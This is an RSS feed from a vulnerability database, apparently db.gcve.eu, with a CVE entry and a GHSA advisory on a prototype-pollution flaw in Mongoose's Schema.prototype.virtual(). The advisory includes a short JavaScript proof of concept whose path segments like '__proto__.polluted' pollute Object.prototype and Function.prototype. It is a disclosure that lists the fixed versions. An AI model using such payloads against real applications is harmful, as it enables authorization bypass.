<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 14 Nov 2026 11:47:41 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-125118</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-125118</link>
      <description>&lt;p&gt;Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Schema.prototype.virtual() builds nested virtual paths without applying the special-property validation already used by Schema.path() and Schema.add(). An attacker who can influence virtual field names in dynamic schemas, content-management form builders, or schema-as-code systems can supply path segments such as __proto__, constructor, or prototype, causing the virtual-path reducer to write enumerable properties to Object.prototype or Function.prototype. The resulting prototype pollution can spoof inherited property checks such as authorization flags and can provide function-prototype gadget state to other server-side JavaScript code. This issue is fixed in versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Schema.prototype.virtual() builds nested virtual paths without applying the special-property validation already used by Schema.path() and Schema.add(). An attacker who can influence virtual field names in dynamic schemas, content-management form builders, or schema-as-code systems can supply path segments such as __proto__, constructor, or prototype, causing the virtual-path reducer to write enumerable properties to Object.prototype or Function.prototype. The resulting prototype pollution can spoof inherited property checks such as authorization flags and can provide function-prototype gadget state to other server-side JavaScript code. This issue is fixed in versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-125118</guid>
    </item>
    <item>
      <title>GHSA-6972-9mcm-vhwj — Mongoose: Prototype pollution via Schema.prototype.virtual()</title>
      <link>https://db.gcve.eu/vuln/ghsa-6972-9mcm-vhwj</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: mongoose&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:&lt;/p&gt;
&lt;p&gt;```javascript
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
```&lt;/p&gt;
&lt;p&gt;Unlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).&lt;/p&gt;
&lt;p&gt;A path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```javascript
const mongoose = require(&amp;#39;mongoose&amp;#39;);
const schema = new mongoose.Schema({});&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;__proto__.polluted&amp;#39;);
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty(&amp;#39;polluted&amp;#39;)); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, &amp;#39;polluted&amp;#39;).enumerable); // true&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;constructor.prototype.opol&amp;#39;);
console.log(({}).opol); // true&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;hasOwnProperty.__proto__.fpol&amp;#39;);
console.log((function(){}).fpol); // Function.prototype polluted
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Attacker-influenced sch…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: mongoose&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:&lt;/p&gt;
&lt;p&gt;```javascript
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
```&lt;/p&gt;
&lt;p&gt;Unlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).&lt;/p&gt;
&lt;p&gt;A path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```javascript
const mongoose = require(&amp;#39;mongoose&amp;#39;);
const schema = new mongoose.Schema({});&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;__proto__.polluted&amp;#39;);
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty(&amp;#39;polluted&amp;#39;)); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, &amp;#39;polluted&amp;#39;).enumerable); // true&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;constructor.prototype.opol&amp;#39;);
console.log(({}).opol); // true&lt;/p&gt;
&lt;p&gt;schema.virtual(&amp;#39;hasOwnProperty.__proto__.fpol&amp;#39;);
console.log((function(){}).fpol); // Function.prototype polluted
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Attacker-influenced sch…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-6972-9mcm-vhwj</guid>
    </item>
  </channel>
</rss>
